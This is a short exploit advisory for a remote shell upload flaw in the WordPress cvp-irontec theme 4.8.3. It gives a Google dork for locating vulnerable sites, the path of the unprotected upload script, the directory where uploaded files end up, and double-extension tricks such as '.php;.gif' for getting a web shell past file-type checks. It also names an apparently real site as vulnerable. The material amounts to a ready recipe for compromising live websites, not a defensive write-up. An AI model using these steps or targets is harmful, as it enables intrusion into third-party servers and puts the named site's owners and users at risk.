WordPress cvp-irontec theme version 4.8.3 suffers from a remote shell upload vulnerability.
498c03dc14c332b00cd837cdfe1f7ab0#####################################################################
# Exploit Title : WordPress cvp-irontec Themes 4.8.3 Remote Shell Upload
Vulnerability
# Author [ Discovered By ] : KingSkrupellos from Cyberizm Digital Security
Army
# Date : 22/12/2018
# Vendor Homepage : wordpress.org
# Software Download Link : N/A
# Tested On : Windows and Linux
# Category : WebApps
# Version Information : V4.8.3 ~ Apache 2.4.10 ~ jQuery 1.8.3 ~ jQuery UI
1.8.18
# Exploit Risk : Medium
# Google Dorks : inurl:''/wp-content/themes/cvp-irontec/''
# Vulnerability Type : CWE-264 - [ Permissions, Privileges, and Access
Controls ]
+ CWE-434- [ Unrestricted Upload of File with Dangerous Type ]
#####################################################################
# Admin Panel Login Path :
/wp-login.php
# Exploit :
/wp-content/themes/cvp-irontec/_inc/din-upload/din-upload.php
# Directory File Path :
/wp-content/uploads/avatars/signups/avatar_[RANDOM-NUMBERS]-bpfull.jpeg
# Note : .php;.gif ~ .asp;.png ~ .shtml.fla;.jpeg
#####################################################################
# Example Vulnerable Site =>
[+]
kronikoensarea.net/wp-content/themes/cvp-irontec/_inc/din-upload/din-upload.php
#####################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
#####################################################################